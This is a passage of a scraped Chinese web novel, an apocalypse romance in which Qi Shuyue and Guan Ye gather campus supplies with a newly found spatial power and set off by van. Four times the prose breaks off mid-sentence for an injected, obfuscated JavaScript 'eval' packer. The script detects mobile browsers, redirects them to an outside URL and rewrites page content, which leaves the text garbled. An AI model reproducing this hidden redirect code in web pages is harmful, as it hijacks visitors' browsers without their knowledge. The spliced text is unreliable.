齐疏月正胡思乱想着,观野在黑暗中突然伸出手将他揽住,脸颊毫无预兆地隔着一层被褥靠在观野的胸膛上,好像都能听见一声又一声沉稳心跳。齐疏月下意识地“唔”了声,听见观野说:“一切有我。” “害怕也没关系,”观野保持着拥抱的姿势,声音倦怠低沉,似乎只是很平常的一场交谈,让人升不起紧张心思,“只要我活着,绝不会让你受伤,齐疏月。” 鼓起明显肌肉轮廓的手臂正源源不断地传来热意,观野的体温似乎总是比常人要更高一些。在黑暗中,齐疏月微微瞪大了眼,他不知道观野是怎么猜到他心里的那点小心思的,但也的确因为观野此时的保证……或者说是安慰也好,惴惴不安的心放缓许多,冰凉的指尖好像都为此回暖了。 “知道啦。”在黑暗中,齐疏月这么回答。 齐疏月很清楚剧情后面的发展,但也依旧能察觉到此时此刻观野的真心,也为此而感动。 做不到也没关系。齐疏月在心底暗暗补充,他说,“谢谢你,观野。” 不知何时,齐疏月睡着了。 寂静当中,观野弯了弯唇,又靠近了齐疏月一点点,听见他均匀的呼吸声,心想哪怕时间就此停留在这一刻。也很好。 而连睡两个大觉,再醒来时接近上午十点多,齐疏月的精神恢复不少。 观野已经做好了早餐,非常神通广大地从搜集来的物资里找到了面粉和鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989844|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大早上的给齐疏月摊了两个鸡蛋饼,热了盒牛奶。齐疏月还睡意朦胧地翘着头发嚼鸡蛋饼喝牛奶的时候,观野已经把行李收拾到一半了,塞满了两个大行李箱。 齐父先前作为优秀校友给学校捐了两栋楼,因此荣获在校买车位的殊荣。齐疏月不怎么开车,但观野是会开的(一般也是用来载齐疏月),他平日常开的奔驰Sprinter就停在学校的地下车库。 那辆斯宾特也特意改装过,隐私性和安全性得到极大提升,空间也大,不管存放物资还是日常休息都不成问题,高底盘也合适在各种地形上奔涉,原本就是作为保姆露营车使用的,在末日里也意外的适合作为求生载具。 不出意外,齐疏月和观野带着物资直奔地下车库找车就行了。哪怕他们的车被破坏或者开走,观野也能现场再撬一辆合适的车。 齐疏月吃完了早饭也准备来收拾行李,发现观野没把最重要的食物水源之类装上,倒是满满一行李箱里都塞满了他的衣服,包括不限于睡衣家居服之类。另外一个大行李箱装上了简单抽真空的床上四件套,还十分懂得空间管理的硬是往里塞了件小毛毯。 齐疏月:“……?” 床单被褥之类的就不说什么了,毕竟现在天气实在冷,为了减少耗油,车内也多半不会开空调。带上一条保暖厚实的被褥他们两个人都能睡,也勉强算得上是必需品。但他的衣服带这么多,多少有些累赘了。 齐疏月爱干净,他来到小世界前也是不折不扣的大少爷,多少有点“讲究”。但他清楚在这种极端环境下,也不允许他和往常一般挑剔,带上能换洗的衣服已经足够。只是他向观野提出这个问题的时候,观野却颇不解。 “食物可以搜集,但符合你穿衣习惯的衣物不好找。”观野很认真地回答。 齐疏月的衣服都是特别定制的,尺寸很合身,布料剪裁也极注重舒适性。在末世环境下,这些才是真正难以再生的奢侈品,相比起来食物当然很重要,但观野确信自己能够找到更多食物来源,相对而言没那么迫切。 观野知道齐疏月在担心什么,解释:“这只是第一批,我们可以多来回几次,把物资运进车。” 虽然有些麻烦,但在眼下情况里,也是值得的。 除此之外,还有那些生活用品、医疗物资,繁琐却重要,零零散散加起来也占不少位置。 齐疏月却想,车内的空间虽然很大,但可以用“更重要”的物资填满。还要保留休息用空间,哪有那么多地方给他放旧衣服—— “不用了,观野。”齐疏月还是摇头,“我不需要的。” 观野沉默片刻。 是不需要了,还是“不能要”了? 小少爷从前从没受过带几件衣服,还需挑挑拣拣的委屈。 观野想,他直到末世到来,才产生很主观的,想要对齐疏月好一点的念头,但事实上,却总是让齐疏月委屈求全。 齐疏月越这样贴心懂事,他越觉得胸闷气短,说不出的低落难受,好似有股火似的从胸膛处燎到四肢百骸,手指都在发烫。 如果他能更强一点,是不是就不会让齐疏月这么委屈了。 观野这么想着的时候,手下突然一空,他正扶着的大行李箱忽然消失了。 齐疏月将这幕看得清清楚楚,淡灰色眼睛一时像猫似的瞪大了。 19.末世篇(19) 观野很少有弄不清状况的时候,不过很明显,现在就是其中之一。 而他怔住时,齐疏月却表现出了超乎寻常的情绪波动,一下便凑近了,抓住了观野的手掌,翻来覆去地想要观察出什么奥秘似的。观野只觉齐疏月指尖柔软,被握住了也一动不敢动,好似稍微用力一点就能伤到眼前的人,手臂上的肌肉都跟着紧绷起来—— “观野,”齐疏月有些惊喜地抬眼望向他,那双眼微圆,有种小猫似的天真圆钝,透出一种发自内心的喜悦来,“这是不是那个——空间异能? “空间异能?”观野这会其实根本没思考,就是下意识地跟着齐疏月的话重复了一遍,视线很直勾勾地落在齐疏月休息好后,更显得艷红漂亮的唇瓣上。 “对啊。”齐疏月还在想呢,末世背景下怎么没有空间异能这么个大杀器,没想到这么快就出来了,观野果然身上都是主角配置。想到这里,齐疏月才后知后觉地解释了一下:“我也是电影里看见的。就是随身的仓库,可以拿来收集物资,还有的里面会有赠送灵泉灵山之类的宝物,能收纳活物。” “你快看看,能不能把东西拿出来再收进去,有没有什么限制。”齐疏月兴致很高地提议。 观野适才回神。 他对于这方面的知识可谓空白,但悟性实在高,一下就意识到了这是相比于雷电异能更有用的异能种类,也很快进行了实验。 在集中精神时,能内视到一片独立空间。不算很大,大概一百平米、四米层高,大概就是普通仓库的大小,但好处是可以随意摆放物品,甚至能让其漂浮在空中,这就大大提高了空间的利用率。 倒没有“灵泉”这类宝物存在,但空间本身就已经足够让观野惊喜了,至少现在,他能理直气壮地将齐疏月的衣物用品都打包带走,堪比及时雨。 齐疏月还提供了“空间内时间暂停”这样的思路,观野新煮沸了一壶开水放进去实验,发现的确有效,再过两小时取出依旧热气沸腾,哪怕不是时间暂停,也至少有保温功效,那么大概率也能对鲜食进行保鲜了。 观野心底很有些想法。 至于能不能收纳活物这点,观野已经确定,他本身不能进入随身空间中,而他也绝不可能拿齐疏月冒险,所以暂时无法印证。 观野对这点也不大在意,他最想要的已经得到了,其他都无所谓。 只是眼下的计划还需要一些调整。 他们一通实验下来,将近中午,于是观野又煮了一些食物作为午餐,还额外多做了点作为备用,避免在外环境特殊的时候不能让齐疏月吃到热食……不过观野心底还是隐隐别扭,觉得放在空间中的热食哪怕拿出来口感依旧,也不是最新鲜的了,不能拿这个糊弄小少爷。所以只作为备用方案,准备的分量不算多。 齐疏月倒是没想那么多,只觉得安心不少,至少一路上的生活质量可以大大得到保证了。他愉快地享用完观野准备的午餐,分量依旧有些太多,还剩下了大半锅的三鲜米线……齐疏月想到什么,看了一眼观野。 “。” 好像比平时更多煮了一些。 观野正在重新做地图路线规划,有了空间异能,他也有些额外打算。注意到齐疏月吃完午餐,他很自然地接过了剩下的米线,很缓慢地品尝着。 齐疏月:“。” 米线这种食物,不太好区分吃没吃过的地方。 食材是观野找的,米线也是人现煮的,加上观野先前和自己说过的话……总没有不让人品尝的理由。齐疏月这么想着,还是有些别别扭扭地移开了视线。 “再午休一下。”观野解决完了剩下的米线,有几分餍足神色,临时的计划表也重新做完了,“我们先出发……去这里。” 齐疏月看着观野画出来的地图,感慨他画地形图真的很有一手的同时,也一下明白了观野的目的地。 A大有好几个食堂点、小卖铺之类,里面肯定是能搜集到眼下最重要的食物资源的,但观野瞄准的不是那里,而是后厨仓库及冷库。 其他的小商店、快递驿站之类虽然更易得且资源丰富,但是眼下过去了这么多天,大部分的物资应该都被提前拿走了,回馈不明。既然身边有观野这个大杀器,他们可以尝试去搜索更不易得的资源——像是学校的仓库冷库之类,安装了非常坚实的防盗门,在混乱的时势下难以找到钥匙密码进入,物资多半只能放在里面积灰,而观野的异能说不定可以暴力拆解这个问题。 路线已经决定好,观野没有先分头行动,将物资收集好再来接齐疏月的打算。主要观野对于“单独将齐疏月留下”这件事,也有点PTSD了。 在他拥有异能的情况下,观野当然可以认为自己的身边比起随时会出意外状况的寝室更加安全,他是不会放齐疏月离开自己三步之外的——那有点太危险了。 刚好齐疏月的想法也和观野差不多,两人一拍即合,收拾完最后一点行装就出发了。 齐疏月紧紧跟在观野身后,现在天气还是很冷,外面无人清理的地面堆积着一层快化成冰的雪。因此齐疏月也穿的很厚实,淡灰色的针织毛衣外穿了件奶白色的长款羽绒服,戴了浅青色围巾和针织的猫耳朵帽子。 实在冷,观野又把口罩给齐疏月戴上了,挡住了大半张脸,只露出一点白皙的皮肤和那双形状好看的眼睛。 十分全副武装。 齐疏月其实认为眼下这身装束有些累赘太过,丧尸来的时候不方便躲也不方便跑,但观野说没关系,不会有丧尸接近——以及生病了的话,他会很担心。才让齐疏月老老实实地穿得很严实。 末世了,医药资源也很珍稀,他们总共也就一个小医药箱的药,还是节约一点好。齐疏月想。 寝室楼内的丧尸其实在前段时间已经被观野解决掉大半,如今在楼道中徘徊的丧尸不多,大部分是从外界被吸引过来的。都是低阶丧尸,很好解决。 观野集中注意力可以听见很远处的声音,对于丧尸行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997322|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动时发出的迟滞声响很敏感,所以在许多丧尸还隔得很远的时候,就已经顺手拿雷劈了个干净。 不过这样来动静太大,观野注意到好像他放出一道雷,齐疏月的手就会很轻地、不受控制地捏他一下——是的,他们这会还牵着手。 出门的时候齐疏月还问牵手会不会影响行动,毕竟单手的限制颇大,怕碰到危险反应不及。观野很笃定地说不会,这样他可以不用分心去观察齐疏月的动向,所以会更安全一点。 齐疏月有些迟疑地问“是吗?”。毕竟他之前已经吃过观野不太专心的亏了,所以考虑后,还是很主动地让观野牵着,还十分严谨地回握住对方的手指,另一只手,则用来握住那把已上膛的枪。 简而言之,观野已经注意到齐疏月好像比较害怕异能的雷声,每次听见都会很紧张。也或许是人在高度警觉之时,就是很容易被这种乍响声惊住,这几乎更近于某种本能。所以观野有意放缓了攻击的频率(随之而来的是扩大攻击的面积),到最后,已经开始研究空间异能的特殊使用方法了。 不错,除去随身空间外,观野发现它的本质也属攻击性异能。切割错位的空间,本来就堪比最锋利的刀刃,甚至在某种程度上做到了可以无视防御性的程度,比起雷电异能消耗更小,用起来也更方便。 于是观野转变了一下攻击方法。 对于齐疏月而言,他的确也安心了一点。 倒不至于是被观野异能的雷电声吓到,而是每次雷声响起,就代表一次有丧尸逼近,难免更加警惕一些。 他不知道观野已经开发出了异能的新用法,听见声响渐少,还以为是附近的丧尸变少了,才不那么紧张。 一路上,齐疏月其实很少正面碰见过丧尸,毕竟在那些怪物走到面前前,已经被观野提前解决了一波,以至于道路通行顺畅的不可思议,像是在玩主打氛围感但是不算惊险刺激的恐怖游戏那样。 齐疏月觉得自己比想象中还是要勇敢一些,只是偶尔视线掠过在路旁堆积的丧尸尸体的时候,还是会有些惊慌失措地收回视线,暗暗警告自己不准再看了。 ……怎么那么可怕。 缺胳膊断腿都是“基础款”了,有些像是被推进某种大型机械里工整切割过那样,露出腐烂空洞的内脏,淌出诡异黏液来。因为分割的太过“端正”了,十分诡异掉san,恐怖程度比他先前直面丧尸还提升了几个等级不止。齐疏月不过是瞥了几眼就忍不住闭上眼,眼睫不住地颤,指尖都跟着有些发凉,忍不住地就更握紧观野的手了,很轻地颤抖着,心想现在的大学生都这么凶残吗,切那么多刀。 观野注意到了。 齐疏月在害怕。 他只思考了一下,就意识到了问题出在了哪里—— 做的太血腥了。齐疏月不喜欢。 现在的观野其实很想抱齐疏月一下,但是忍住了,只很知错就改的,他也轻轻捏了下齐疏月的手:“对不起,不会再有了。别害怕。” 20.末世篇(20) 观野似乎总是喜欢对他说对不起。 只是这次也依旧让齐疏月茫然——又不是观野的原因,丧尸就是很难避免,要怪也是怪他胆子太小了,总是很容易被轻易吓到。于是齐疏月也回捏了一下观野的手,认真地和他说:“为什么要道歉?” 又飞快补充:“我没有很害怕。” 观野总是会时不时地被齐疏月可爱到一下,就像现在这样。他喉结微微滚动了下,声音低哑地“嗯”了一声,依旧牵着齐疏月的手往前走。只是这会再往前,路边的丧尸尸体果然没那么奇形怪状的血腥了,大多身体完整、面朝地面躺着,只有靠近掀开,才会发现它们的气管被割开了很狭长的一条伤痕。 通往地下车库的一路都十分顺利,偶遇两只变异丧尸,也被观野很利落地解决了,齐疏月甚至没有开枪的机会,就已经和观野抵达了车库。 想到要驾车离开的当然不止他们两个,车库内部显得十分混乱,一些车被砸破窗户,横七竖八地挡在停车位和必经道路上。甚至还有变成丧尸的车主困在内部,不断用指甲抓挠着玻璃窗。 齐疏月一开始注意到的时候还被吓了一跳,不过很快,车里的丧尸就不动了,怂头耷脑地安静下来——或许是因为从变成丧尸起就没有吃过人,处于极端虚弱的状态。 越往车库内部走就越幽暗。 电力系统被破坏后,地下几乎没有光源可言,冷冽寒风从不知哪个通风口刮过来,吹得齐疏月忍不住往观野的身后藏。 他已经穿得很厚实了,但还是能察觉到刀子似的风刮在眼睛上,很冷。加上地下车库像是溶洞般深不见底的暗,视物十分艰难,齐疏月脑海当中已经闪烁过无数部恐怖片场景了,这地方简直就是经典闹鬼场所……当然,在眼下的世界观下是不闹鬼了,但是闹丧尸也没好到哪里去。 那些黑暗边角处仿佛都潜伏着一双眼睛,哪怕齐疏月很相信观野的洞察力,心脏也跟着高悬起来。微微抿着唇,被口罩围巾遮挡的面容苍白。 观野注意到了。 黑夜中视物于他而言太过轻而易举,以至于他没及时想到齐疏月是需要光源的,太黑了,会让他害怕。 他喜欢齐疏月会紧紧贴着他的样子,但不希望齐疏月难受。 观野默不作声地取出了强光手电筒,自己拿着一个,另一个拿给齐疏月。 齐疏月的眼睛微亮——忘记还有这个利器了。 两道手电筒的光束直射出去,照亮的范围不算大,但齐疏月明显安心许多,以至于他照了一会才想起来,“一把照明就够了,这样有点浪费。” “不会。”观野的理由十分充分,“现在就是能派上用场的紧要时刻,要提防会靠近的丧尸。我们两个一起看不同的地方,更没有破绽。” 很有道理。齐疏月被他说服了,拿着手电筒更用心地观察起附近事物,他责任感顿生,也被分薄了害怕的心思。 斯宾特停在颇靠里的位置,虽然车体本身十分显眼,但因改装后的坚固性难以被攻破,加上停车位也靠内,因此还安安稳稳地停留在原处,像是一辆钢铁巨兽般。 观野很满意,这下能省去许多麻烦了。 末世内的车虽然好找,但适合让齐疏月乘坐的车不多。 车门解锁后,电动踏板自动展开,熟悉的车内环境让齐疏月放松许多,观野原本想直接开车离开,但想到什么,又再次下了车。 齐疏月见到他将手放在另外一辆车上,还以为观野是想再收一辆车备用,但半晌也没见那辆轿车消失,倒是观野又换了个地点。 “?”齐疏月询问,“观野,在做什么?” 观野:“把汽油抽了。” 齐疏月:“……!”空间异能还能这么做! 观野收集了足够多的汽油,将其漂浮在意识空间的右上角,这才带着齐疏月离开。 车辆后排是特别安装过的航空座椅,坐起来其实更舒适一些,但这会齐疏月更想和观野靠在一起,所以坐的是观野旁边的副驾驶位。打开车灯,也很快驶离了地下停车场——这中间其实还出现了一些意外,比如说出入口的必经处被一辆横截的车辆挡住了,难以开出。齐疏月刚准备问要不要换个出口,就见观野下车很利落地将挡路的车搬开了。 搬开了。 齐疏月:“。” 这一幕直接看还是有些冲击性的,也让齐疏月意识到观野的力量都被强化成什么样了。 接下来的道路便更顺利,一路上甚至没碰见什么拦路的丧尸,齐疏月系着安全带,不知不觉地就往座位里陷。 有车身作为移动的安全堡垒,观野又在身侧,齐疏月自然放松许多。 很快驶达了A大的第一食堂处,观野先下了车,牵着齐疏月往里走。 食堂基本空了,一些提前准备好的易储存的食物已经被人搜寻走,还留下了许多人活动过后的迹象。想来是有一批学生自觉汇聚在了这里作为避难所,但因不知名的原因又集体离开了。 食堂内还有两家单独的小卖铺零食店,玻璃被打碎,想来里面也不剩什么物资。 观野面无表情地用空间异能弄死小卖铺里潜藏的一只变异丧尸,并不做停留,按照记忆中的路线,和齐疏月一起来到了仓库的位置。 仓库大门紧锁,是一体式的合金钢板门,上方还有监控摄像头——自然,现在摄像头已经不起作用了,但钢板门依旧能从物理性质上起到完善的保护。 大门用的是密码锁,安全级别很高,难以破解。齐疏月正在思考,想问观野能不能用空间异能将这扇门给收进去,就听见观野让他站远一些。 “?” 齐疏月下意识地往后退了几步,观野还走过来,将他的围巾捂在耳朵上,让他捂紧。 齐疏月照做了。 下一秒就见观野拳头上附着电光,一力轰开了大门旁边的……墙面。 齐疏月:“……”好吧,一力降十会了,果然当门够结实的时候墙就是门。 他们从墙面的破口处钻进去,齐疏月看见仓库里的物资目光都微亮了起来,很难不感受到一种发自内心的快乐。 里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001176|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 储备最多的当然是食物,占比最大的是各色新鲜蔬菜之类,现在气温低,仓库内部算是天然的低温冷库,食材保存的很好。另外还有近百桶装的矿泉水、成箱摆放的新鲜水果、大批量的熟食面包干粮之类,都十分有用。出乎意料的是,除去一些油盐酱醋的调料外,仓库内的日用品也堆积了不少,还有一些礼盒包装的酒茶、糖果等。齐疏月想了会也想明白了,大概快过年了,这是原本给学校老师及家属准备的年货。 原本高昂的情绪在此时略显低沉起来,齐疏月也不明白,为什么想到这里,心里会不大舒服。 要是没有末世,或许这些年货都会去应去的人手中。 齐疏月很快回神了。 不管怎么说,眼下收获已十分可观。观野原本的空间共有一百平,在可随意摆放充分利用每一点空隙的情况下,其实是能装很多物资的,但现下居然也要认真做起选择来了。毕竟他们还有个冷库没去,总该留出一部分位置。 储存的各色蔬菜、水果熟食、米面等主粮皆取了三分之二,日用品挑选了些合用紧缺的带走,锅碗瓢盆和现成的厨具也拿了几套。他们两人虽然不怎么喝酒和茶,但考虑到后续物资交换问题,那些礼盒也扫走了大半。 饶是只挑着紧要的物资拿,仓库内的物资也还剩下不少。 齐疏月觉得这样也不错,就当留给在末世求生的其余人。不过他们一路走来……很诡异地没碰上过其他活人,也不清楚后续还有没有人能顺利走到这里,发现物资。 清扫过了一遍仓库,齐疏月和观野又一同前往了离得不远的冷库。 冷库大门比仓库的钢板门还要严实,不过观野仍然是如法炮制地打开了“大门”。齐疏月忍不住去翻看他的掌心……真的不疼吗? 目前看来是没受伤的。 冷库内也处于停电状态,但是良好的保温环境让里面仍结着白霜。太冷,观野舍不得让齐疏月跟进去,只让他在门口等着。虽然观野仔细观察过附近没有丧尸踪迹,但也总怕出现意外,让齐疏月“单独”待着一分一秒都是冒险,便也只能速战速决地将物资囫囵收了一遍,有些品类都没来得及看清楚。 里面有些半成品食物不提,最重要的是有许多新鲜处理过的肉类,从最普遍的鸡鸭牛羊猪肉,到一些急冻的海鲜鱼虾类等,种类很是齐全。观野搜集完一大半,随身空间内也被塞满许多,只留下了一些必要空间留作备用,立即便大跨步走出了冷库。 他当然能感觉到齐疏月在门口等他,很安全,但就是想要快点见到他。 冷库的寒气顺着打破的墙体吹出来,齐疏月的手还放在羽绒服的衣兜里,想暖和一些。便这么伫立在原地。 但等看见观野从冷库里走出来的时候,他先下意识伸出了手—— 观野几乎是冲出来,一下也牵住了齐疏月的手。 指尖交缠着,紧紧地贴合在一起,观野宽大的掌心甚至能轻易包裹住齐疏月单薄的手腕,一下完完整整地,将他的手握在其中。 安心了。 两个人同时想。 21.末世篇(21) 再重新出发时,车内已经“焕然一新”,很有生活气息。 后面的三人连坐航空椅上扔了两个抱枕,放着叠起来的一件小毛毯。车内开了空调(观野认为汽油很够用,坚决不同意省油方案),暖气融融,这让齐疏月将身上的口罩、围巾和针织猫猫帽都摘下来了,最后连羽绒服都有些穿不住,脱下来后,又在观野提议下重新披了件长款的风衣在身上。 小冰箱和中部升起的桌台上摆满了矿泉水、牛奶和各类零食水果,羽绒服也被随手放在后方座位上。 齐疏月是认为,虽然被发现的可能性极小,但观野的空间异能不能暴露。这么大一辆车里面没放物资也太奇怪了,总归要摆点食水之类掩人耳目。观野的想法就直接许多,纯粹是因为摆出来能方便齐疏月随手取用,两人依旧非常微妙地达成了一致。 在这些必要物资收集完毕后,齐疏月和观野商议后又去了一趟图书馆,收集了平时不外借的珍贵孤本书籍、一些在末世里可能派的上用场的生产类资料等——这些在末世后期,大概比黄金还要昂贵。齐疏月想,就算他可能等不到这些书籍发挥效用的时候,一路上也能解闷看,不亏了。 一叠叠厚重的纸壳书跟着摆放在车身内部数个触手可及的位置上,生活气息更重了,偶尔会让齐疏月生出一些他们还身处在末世前,只是临时出去旅游的错觉来。 旅游…… 齐疏月想起自己末世前找出来的别扭借口支人离开,竟也有恍惚之感。 不知道管家他们怎么样了。 车辆驶离了破败的、已经被冲破的校门,一轮金日被抛在后方,齐疏月出神之时,往窗外看了一眼,正好与校门口倾塌的水池雕像擦身而过。 离开了。好像最后的和平时光也已结束。 一条并不算宽阔的大路被皑皑细雪覆盖,举目皆白,天地间万籁俱寂,好像只剩自己和观野了。 齐疏月这么想着的时候,就见一只丧尸歪歪斜斜地从马路上冲出来挡在面前,被观野没什么表情地一脚油门碾了过去。 齐疏月:“……” 好吧,还有丧尸在。 这么一出插曲下来,齐疏月那股失落情绪也跟着消散,他靠在座位上,大概是因为车内很安静,观野开车又实在很稳当,不知不觉侧头睡了过去。 迷蒙中,倒是能察觉到有人将自己抱了起来,动作很轻,怀抱也很温暖——所以齐疏月的眼睫颤了颤,没被弄醒,反而是更依赖地往那怀中蹭了蹭。 怀抱好像稍微收紧了一些。 但不一会,齐疏月还是被重新放下来,陷入进柔软的毯子当中。他像是小猫似的微微蜷缩了下身体,又被人很严密地拿着毯子将整个人包裹了进去,边边角角都掖的密不透风,在几乎察觉不到的轻微晃动中,做了一个有关船舶的梦。 在梦里回到了家。 * 齐疏月是被食物的香气勾引醒的。 他心想这一幕怎么有点似曾相识,揉了揉眼睛起身,发现后座的三人椅已经被完全放平,拼成了一张近一米八的大床,上面铺上了床垫和棉褥,他这会正睡在这张折叠成的床上,身上盖着一方羊绒毯子……大概也是观野给自己盖上的。 车已经停下来,驻扎在一片宽阔平坦的田野旁,齐疏月向外望去,身边风景与自己睡前截然不同,显然观野独自开出了很长一段路。 齐疏月眨了一下眼,心想在行驶的时候睡床好像是违反交规的……不过这会也没交警来开罚单就是了。 反正观野开车稳当,应当没风险吧。 齐疏月顺着香味下车,发现观野其实很有露天野营的情调,眼前设备摆放的一应俱全,有油用油,没电发电,硬是让他研究出了一顿正餐。 此时观野已经煲煮好满满一锅米饭,主菜是烤牛羊肉串和薄切的烤五花,清炒了一道上海青和小蘑菇,另外再炖了一碗银鱼鸡蛋羹,正从热腾腾的水蒸锅内端出来。旁边的果盘也洗好了,一颗颗饱满鲜红的车厘子摆放完整,犹带水珠。 齐疏月:“!” 好正式。 齐疏月早就知道,依观野以前的经历,他荒野求生的能力应当不差,生火做饭不成问题。但能吃和好吃是两回事,从如今卖相上来看,观野的厨艺应该不错。 观野早已发现齐疏月醒了,在齐疏月凑过来时就已经盛好饭、摆放好餐具,等他来用餐。齐疏月一低头看着碗中粒粒晶莹的米饭,出神了一下。 条件所限,他们很久没吃米饭这种热腾腾主粮了,之前齐疏月也不觉得有什么,等端到面前的时候,他才发现自己是有几分念想的。也因为这念想,齐疏月短暂走了会神,隐约记起了之前做的梦。 关于家的梦。 齐疏月其实是不缺爱的小孩,从小就是被花团锦簇的小少爷,家中宠爱,朋友也多,哪怕被扔到小世界里做任务,是个炮灰的身份,背景设定的家世都格外好,碰见的观野也是很照顾他的好人。 但就算这样,他还是会想家。 “太多了。”齐疏月看着眼前的食物,忽然道,“观野,和我一起吃吧。” 他也不是第一次发出这样的邀请,观野也一如既往地想要回绝。倒不是出于什么特殊理由,观野只是觉得进食这种行为对他而言意义不大,就不应该和齐疏月“争抢”这种必要的生存资源。 但这一次,齐疏月牵住他的衣摆,那双淡茶色的眼睛望过来的时候,像盈着漂亮的水光那样看着他。 “就当陪陪我,好不好?” 观野想,我一直都在陪着你。但这会,他秉承着某种直觉没有将这句话说出口——因为现在的齐疏月,看起来好像有点难过。 他心里也跟着沉闷下来。 齐疏月很轻而缓慢地眨了一下眼睛,说,“一个人吃饭太孤独了。” 观野身体僵硬,像是不受控制一样地坐了下来,发出很大的动静声。 齐疏月没忍住轻笑了一下。 观野的视线落在他脸上,只觉得他实在笑得很好看,也跟着傻愣愣地牵动了唇角。 这时候的齐疏月,还很贴心地添了一碗饭递过去。 观野感觉自己身上好像有一片触感是麻的,身体很轻飘飘。意识沉浸在某种奇妙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005730|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满足感当中,肉.体几乎只能根据本能做出行动来。 他默不作声地吃着齐疏月给他盛的白饭,偶尔齐疏月还会给他添菜,让夹菜就夹菜,一举一动都像机器似的僵硬,但观野只觉心底被塞的满满当当,自己和齐疏月这样在一起,简直……像“家”一样。 齐疏月也觉得有几分说不出的意味,说来很奇怪,他和观野分明相处这么久,但这好像还是他们第一次一同用餐……之前一块啃饼干面包的时候不算。吃剩饭也不算。 这种感觉实在奇妙,等晚餐结束开始收拾器具的时候,齐疏月看着观野,想这么久过来,他们应当、至少……算是朋友吧? ——一个炮灰想要和主角做朋友,真是奇怪。 观野心里会是这么想的吗?还是依旧只是主角的高尚人品,所以不允许自己做出背信弃义的事呢? 齐疏月这么想着,轻声喊了一句:“观野。” “嗯?”观野停下来,看着他。 齐疏月忽然又不问了。 但这次不是因为考虑到,有可能会被判断为“违反人设”、“透露任务者才知道的信息”导致扣人设分,只是齐疏月忽然觉得,君子论迹不论心,不管观野怎么想的,都不重要了。 只这会观野已经停下来,专心地等待着他的下一句话。所以齐疏月的眼睫微垂,视线转向其他方向,盯着远处遥遥草色,似乎非得看出什么端倪来似的,半晌,齐疏月才情绪显得有些低落地道:“……我想家了。” 这句话当然也发自真心,一直为齐疏月心中所想。观野自然也不曾察觉到什么异样,他顿了顿回答道:“我们会找到老板他们的。” 齐疏月弯唇,在观野看来很可爱地笑了一下。 齐疏月当然想家,但他的家是远在这个小世界之外的地方。 他们还在等他回去的。 齐疏月慢吞吞地应了一声:“嗯。” 或许也只有齐疏月自己才清楚,中断的谈心过程里,还有一点私心。 他最好不要知道观野的答案。 不论如何,他都是要按着系统给他的作死任务走下去的,哪怕明知那可能导致他和观野的决裂,也必须和观野分开。 他们之间的距离不是一座城市、一个国家,是相隔无数时空的小世界,在完成开拓者的使命之后,他将回到自己的正确轨道当中,而观野也依旧作为这个世界的主角,迎接更多挑战和更多的任务者。他们有些或许会作为主角的“敌人”,还有些会成为主角的“朋友”,但不管怎么样,那都是没有自己参与的新故事了。 “要散会步吗?”观野问。 这会天黑的很早,没了城市五光十色的灯光,显得星星很亮。观野挑选的这片地点也好,没有隐隐飘散在城市街道内的丧尸腐臭味,很适合饭后消食散步。观野看齐疏月好像有些情绪低落,怕他是在车上闷的——毕竟乘坐这样漫长的旅途,本身也是很辛苦的事。 “不了,天好冷。”齐疏月笑了一下,“我们出发吧,观野。” 不管怎么样,他还是会和观野一起,一同充满珍惜地走完这段旅程的。 22.末世篇(22) GPS导航完全失灵的情况下,人在无数支线蔓延星罗棋布的道路中,其实是很难找到正确路径的。 但观野实可称人肉地图,他很清楚最近的大型武力配备基地,根据偶尔的标志物辨别方向更不成问题。 人类的生命力一向强悍团结,在度过秩序混乱的初期后,一定会建立大型根据地。观野能推测的出最合适实现这一切的领域范围——要有充沛的武力配备、可以内循环的生活资源、最好还有广播站塔台,实现百公里甚至跨大陆地区的信号传播,很容易成为与外界信息链接的突破口,也会成为新的人类聚集地。 